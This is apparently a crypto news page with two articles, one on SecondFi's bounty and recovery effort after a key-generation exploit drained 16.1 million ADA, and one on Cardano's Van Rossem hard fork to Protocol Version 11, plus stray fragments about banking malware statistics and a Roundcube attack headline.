
* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile security solutions who encountered banking threats.

SecondFi has renewed its bounty offer to the attacker behind a $16.1 million Cardano exploit, as the team continues trying to recover 16.1 million ADA stolen in a June incident.

The validated notes show the exploit affected 374 wallets and stemmed from a key-generation vulnerability. SecondFi says it secured 129 million ADA during containment, but the stolen funds remain the focus of the recovery effort.

Security researchers at Groom Lake reportedly observed behavior resembling techniques previously linked to North Korea’s Lazarus Group, but that attribution has not been officially confirmed. That caveat is important. Similar behavior is not proof of identity.

SecondFi has also confirmed it will not resume normal operations.

That makes this less of a comeback story and more of a recovery-and-containment story.

For more details, visit the official Support platform.

TL;DR

• SecondFi renewed its bounty offer after 16.1 million ADA was stolen.
• The exploit affected 374 wallets and involved a key-generation vulnerability.
• Lazarus-like behavior has been noted, but attribution is not confirmed.

The Key-Generation Detail Is The Core Problem

A key-generation vulnerability is one of the worst kinds of wallet or protocol failures.

If a private key, seed, or signing path is generated in a weak or predictable way, users can lose funds even if they never knowingly gave anything away. That makes the failure feel especially unfair because normal user caution may not be enough.

SecondFi’s case appears to fall into that broader category.

The exploit did not just involve a user clicking a phishing link or approving a bad transaction. It involved the foundations of how wallet security was established.

That is why the recovery effort matters, but also why trust is so hard to rebuild afterward.

Once users believe key generation was flawed, the platform has a much deeper credibility problem than a normal smart contract bug.

The 129M ADA Containment Figure Matters

SecondFi’s claim that it secured 129 million ADA during containment is an important part of the story.

In any exploit, the headline number usually focuses on what was lost. But what was protected also matters. If containment prevented a much larger loss, that should be recognized.

Still, users who lost funds will naturally focus on recovery.

A bounty offer is one way to create an incentive for the attacker to return assets. It does not guarantee success. Some attackers negotiate. Some ignore offers. Some launder funds. Some return partial amounts.

The outcome often depends on how traceable the funds are, whether exchanges and bridges can block movement, whether law enforcement is involved, and whether the attacker believes keeping the funds is riskier than taking a bounty.

Attribution Should Stay Careful

The Lazarus-like behavior note is sensitive.

Crypto has seen multiple high-profile hacks attributed to North Korean-linked groups, and Lazarus has become a familiar name in security reporting. But attribution is difficult, especially when based on behavioral patterns rather than official findings.

Techniques can be copied. Infrastructure can be reused. Analysts can identify similarities without being able to prove who is behind an attack.

That is why this story should not say Lazarus did it unless an official or directly supported source confirms it.

The responsible framing is that researchers observed behavior resembling known techniques, while attribution remains unconfirmed.

SecondFi Not Resuming Normal Operations Changes The Tone

SecondFi confirming that it will not resume normal operations is a major detail.

Some exploited protocols return after a fix, audit, migration, or recapitalization. Others wind down because the technical, legal, and reputational damage is too great.

SecondFi appears to be in the second category.

That gives users clarity, even if it is not the outcome they wanted. The focus becomes recovery, claims, communications, and ensuring any remaining protected funds stay safe.

For the Cardano ecosystem, the incident is a reminder that DeFi security is not only about chain-level reliability. Application-layer key management, wallet generation, custody assumptions, and operational controls all matter.

A secure base chain cannot save a flawed application design.

Recovery Is Now The Main Story

The renewed bounty offer keeps the door open for returned funds, but users should treat the situation cautiously.

Until funds are returned or a formal recovery plan is completed, the story remains unresolved. The best outcome would be a negotiated return. The more difficult outcome is a long tracing and enforcement process.

For Cardano DeFi, the lesson is clear.

As more applications handle larger sums of ADA, security expectations need to rise. Audits, key-generation reviews, independent testing, incident response plans, and transparent communications are not optional. They are what separate experimental apps from infrastructure users can trust.

SecondFi’s exploit shows how quickly that trust can break.

This article is based on SecondFi incident and recovery materials, including the renewed bounty update.

This article was written by the News Desk and edited by Samuel Rae.

This report is based on information released by Support. at Support

Reference: GitHub

Cardano Van Rossem Hard Fork Moves Mainnet To Protocol Version 11

Cardano has activated the Van Rossem hard fork on mainnet, moving the network to Protocol Version 11 and marking another step in its push toward fully on-chain governance.

The upgrade went live at Epoch 644 on July 18, according to the validated release details. It requires node operators to run Cardano Node v11.0.1 or later and represents one of the most important governance milestones in Cardano’s recent history.

The key point is not just that Cardano upgraded. Networks upgrade all the time. What makes Van Rossem notable is that it was enacted through Cardano’s on-chain governance framework, rather than being handled purely through a traditional core-development process.

That makes the hard fork a test of Cardano’s Voltaire-era promise: can a major blockchain coordinate technical upgrades through formal decentralized governance without losing stability?

TL;DR

• Cardano has activated the Van Rossem hard fork on mainnet.
• The upgrade moves the network to Protocol Version 11.
• It is described as Cardano’s first hard fork fully enacted through on-chain governance.

Why Van Rossem Matters

Cardano has always taken a slower, more formal approach than many rival layer-1 networks.

That has earned it both supporters and critics. Supporters argue that Cardano’s research-heavy process makes the network more resilient. Critics argue that it slows execution and leaves the ecosystem behind faster-moving competitors.

The Van Rossem hard fork sits right inside that debate.

A mainnet protocol upgrade is not just a technical release. It requires exchanges, stake pool operators, infrastructure providers, wallets, developers, and users to align around the new version. If coordination breaks down, the network can suffer from delays, compatibility problems, or fragmentation.

Cardano’s claim is that its governance system can manage this kind of process more transparently and more formally.

By moving to Protocol Version 11 through on-chain governance, Cardano is trying to show that decision-making can be decentralized without becoming chaotic. That is the real test.

Governance Is Becoming More Than A Narrative

Crypto governance often sounds abstract until it touches the protocol itself.

Token votes, committees, proposals, and community discussions are one thing. A hard fork is another. When governance leads to a network-level upgrade, the stakes become real.

That is why this milestone matters for ADA holders and Cardano builders.

If governance works, it can give the ecosystem a clearer route for upgrades and long-term coordination. If governance becomes slow, political, or difficult to execute, critics will argue that the process is adding friction.

Cardano’s model depends on proving that formal governance can support technical progress.

Van Rossem is therefore not just about today’s code. It is about whether future upgrades can move through the system with enough legitimacy and speed.

What The Upgrade Does — And Does Not Do

The hard fork moves Cardano to Protocol Version 11, but traders should be careful not to treat it as an instant performance catalyst.

The validated materials point to Van Rossem as laying groundwork for later upgrades, including work connected to Ouroboros Leios and the Dijkstra era. That means the upgrade is more structural than immediately user-facing.

It should not be described as a sudden speed boost or a complete scaling transformation.

For users, the near-term impact may be subtle. For developers and infrastructure operators, the upgrade is more important because it updates the base layer that future improvements will depend on.

That is often how serious blockchain upgrades work. The market wants obvious before-and-after changes, but protocol development usually happens in layers.

Van Rossem is one of those layers.

ADA Market Impact Depends On Follow-Through

For ADA, the hard fork gives the market a concrete governance milestone, but price impact will depend on what follows.

Cardano needs developer activity, DeFi growth, liquidity, user adoption, and stronger application demand to turn governance progress into market momentum. A hard fork can help the long-term story, but it does not solve every adoption question on its own.

Still, it gives Cardano supporters something specific to point to.

The network has now moved a major upgrade through its governance process. If future upgrades build on that successfully, Cardano’s decentralization-first identity becomes more credible.

The risk is that the market sees the event as procedural rather than catalytic. That is fair. Protocol upgrades only matter to traders when they translate into clearer growth, better performance, or stronger ecosystem activity.

For now, Van Rossem is best understood as a governance and infrastructure milestone.

It shows Cardano continuing to build its future around formal decentralized decision-making. The next step is proving that this model can also deliver faster, more visible ecosystem progress.

This article is based on Intersect Cardano Node release materials.

This article was written by the News Desk and edited by Samuel Rae.

This report is based on information released by GitHub. at GitHub

China-linked UNK_MassTraction targets US and Canadian universities through Roundcube flaws, stealing sessions and opening access to research mail servers.